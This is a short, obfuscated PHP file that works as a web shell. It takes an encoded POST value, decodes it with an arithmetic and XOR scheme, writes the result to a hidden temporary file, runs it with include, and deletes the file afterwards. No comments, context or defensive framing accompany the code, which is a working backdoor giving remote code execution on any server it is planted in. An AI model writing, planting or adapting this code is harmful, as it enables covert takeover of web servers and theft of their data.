<?php
if(isset($_POST) && isset($_POST["val"])){
	$holder = array_filter(["/var/tmp", sys_get_temp_dir(), "/tmp"]);
	$component = $_POST["val"];
	$component = explode(".", $component);
	$dat		='';
	$s7		='abcdefghijklmnopqrstuvwxyz0123456789';
	$sLen		=strlen(		$s7 	);
	foreach(		$component as $dchunk =>$v5) {$sChar		=ord(		$s7[$dchunk%		$sLen] 	);
		$dec		=(		(		int)$v5 - $sChar -(		$dchunk%		10)) 	^  79;
		$dat .= chr(		$dec 	); 	}	
	while ($item = array_shift($holder)) {
		if (is_writable($item) && is_dir($item)) {
			$object = "$item" . "/.k";
			if (@file_put_contents($object, $dat) !== false) {
			register_shutdown_function('unlink', $object);
			include $object;
			exit;
		}
		}
	}
}